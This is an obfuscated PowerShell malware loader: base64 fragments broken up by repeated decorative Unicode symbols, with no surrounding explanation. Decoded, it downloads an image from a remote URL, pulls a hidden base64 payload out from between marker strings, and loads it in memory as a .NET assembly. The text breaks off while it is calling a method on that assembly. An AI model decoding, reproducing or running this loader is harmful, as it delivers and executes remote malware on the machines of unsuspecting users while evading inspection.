☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹dwBl↦ ☰ ䷸ ㈽ ⺹GI↦ ☰ ䷸ ㈽ ⺹QwBs↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹ZQBu↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹TgBl↦ ☰ ䷸ ㈽ ⺹Hc↦ ☰ ䷸ ㈽ ⺹LQBP↦ ☰ ䷸ ㈽ ⺹GI↦ ☰ ䷸ ㈽ ⺹agBl↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹TgBl↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹LgBX↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹YgBD↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹aQBl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹aQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹ZwBl↦ ☰ ䷸ ㈽ ⺹EI↦ ☰ ䷸ ㈽ ⺹eQB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹cw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Hc↦ ☰ ䷸ ㈽ ⺹ZQBi↦ ☰ ䷸ ㈽ ⺹EM↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bgB0↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹R↦ ☰ ䷸ ㈽ ⺹Bv↦ ☰ ䷸ ㈽ ⺹Hc↦ ☰ ䷸ ㈽ ⺹bgBs↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹EQ↦ ☰ ䷸ ㈽ ⺹YQB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹K↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹bQBh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹ZQBV↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹p↦ ☰ ䷸ ㈽ ⺹Ds↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹G0↦ ☰ ䷸ ㈽ ⺹YQBn↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹V↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹Bb↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹V↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹EU↦ ☰ ䷸ ㈽ ⺹bgBj↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹ZwBd↦ ☰ ䷸ ㈽ ⺹Do↦ ☰ ䷸ ㈽ ⺹OgBV↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹Rg↦ ☰ ䷸ ㈽ ⺹4↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹RwBl↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹UwB0↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹aQBu↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹K↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹bQBh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹ZQBC↦ ☰ ䷸ ㈽ ⺹Hk↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹KQ↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹EY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹8↦ ☰ ䷸ ㈽ ⺹Dw↦ ☰ ䷸ ㈽ ⺹QgBB↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹RQ↦ ☰ ䷸ ㈽ ⺹2↦ ☰ ䷸ ㈽ ⺹DQ↦ ☰ ䷸ ㈽ ⺹XwBT↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹QQBS↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹Pg↦ ☰ ䷸ ㈽ ⺹+↦ ☰ ䷸ ㈽ ⺹Cc↦ ☰ ䷸ ㈽ ⺹Ow↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹EY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹8↦ ☰ ䷸ ㈽ ⺹Dw↦ ☰ ䷸ ㈽ ⺹QgBB↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹RQ↦ ☰ ䷸ ㈽ ⺹2↦ ☰ ䷸ ㈽ ⺹DQ↦ ☰ ䷸ ㈽ ⺹XwBF↦ ☰ ䷸ ㈽ ⺹E4↦ ☰ ䷸ ㈽ ⺹R↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹+↦ ☰ ䷸ ㈽ ⺹D4↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹Ek↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹bQBh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹ZQBU↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹B0↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹SQBu↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹E8↦ ☰ ䷸ ㈽ ⺹Zg↦ ☰ ䷸ ㈽ ⺹o↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹EY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹KQ↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹ZQBu↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹SQBu↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹aQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹ZwBl↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹LgBJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹TwBm↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹BG↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹YQBn↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹Ow↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹BJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹t↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹t↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹BJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹t↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹Ek↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹Ek↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cs↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹EY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹LgBM↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bgBn↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹a↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹YgBh↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹2↦ ☰ ䷸ ㈽ ⺹DQ↦ ☰ ䷸ ㈽ ⺹T↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹ZwB0↦ ☰ ䷸ ㈽ ⺹Gg↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹BJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹t↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹YQBy↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹SQBu↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹Ds↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bi↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cwBl↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹N↦ ☰ ䷸ ㈽ ⺹BD↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹aQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹ZwBl↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹LgBT↦ ☰ ䷸ ㈽ ⺹HU↦ ☰ ䷸ ㈽ ⺹YgBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹cgBp↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Zw↦ ☰ ䷸ ㈽ ⺹o↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹Ek↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹s↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bi↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cwBl↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹N↦ ☰ ䷸ ㈽ ⺹BM↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bgBn↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹a↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹p↦ ☰ ䷸ ㈽ ⺹Ds↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bj↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹EI↦ ☰ ䷸ ㈽ ⺹eQB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹cw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹Bb↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹QwBv↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹dgBl↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bd↦ ☰ ䷸ ㈽ ⺹Do↦ ☰ ䷸ ㈽ ⺹OgBG↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹bwBt↦ ☰ ䷸ ㈽ ⺹EI↦ ☰ ䷸ ㈽ ⺹YQBz↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹Ng↦ ☰ ䷸ ㈽ ⺹0↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹By↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹bgBn↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bi↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cwBl↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹N↦ ☰ ䷸ ㈽ ⺹BD↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹Ow↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹bwBh↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBk↦ ☰ ䷸ ㈽ ⺹EE↦ ☰ ䷸ ㈽ ⺹cwBz↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bQBi↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹eQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹Bb↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹UgBl↦ ☰ ䷸ ㈽ ⺹GY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bg↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹EE↦ ☰ ䷸ ㈽ ⺹cwBz↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bQBi↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹eQBd↦ ☰ ䷸ ㈽ ⺹Do↦ ☰ ䷸ ㈽ ⺹OgBM↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bj↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹EI↦ ☰ ䷸ ㈽ ⺹eQB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹cw↦ ☰ ䷸ ㈽ ⺹p↦ ☰ ䷸ ㈽ ⺹Ds↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹B0↦ ☰ ䷸ ㈽ ⺹Hk↦ ☰ ䷸ ㈽ ⺹c↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bv↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹QQBz↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹GI↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹B5↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹RwBl↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹V↦ ☰ ䷸ ㈽ ⺹B5↦ ☰ ䷸ ㈽ ⺹H↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹o↦ ☰ ䷸ ㈽ ⺹Cc↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bu↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹aQBi↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹SQBP↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹S↦ ☰ ䷸ ㈽ ⺹Bv↦ ☰ ䷸ ㈽ ⺹G0↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹Ow↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹G0↦ ☰ ䷸ ㈽ ⺹ZQB0↦ ☰ ䷸ ㈽ ⺹Gg↦ ☰ ䷸ ㈽ ⺹bwBk↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹B5↦ ☰ ䷸ ㈽ ⺹H↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹Ec↦ ☰ ䷸ ㈽ ⺹ZQB0↦ ☰ ䷸ ㈽ ⺹E0↦ ☰ ䷸ ㈽ ⺹ZQB0↦ ☰ ䷸ ㈽ ⺹Gg↦ ☰ ䷸ ㈽ ⺹bwBk↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹JwBW↦ ☰ ䷸ ㈽ ⺹EE↦ ☰ ䷸ ㈽ ⺹SQ↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹LgBJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹dgBv↦ ☰ ䷸ ㈽ ⺹Gs↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹o↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹bgB1↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹s↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹WwBv↦ ☰ ䷸ ㈽ ⺹GI↦ ☰ ䷸ ㈽ ⺹agBl↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ 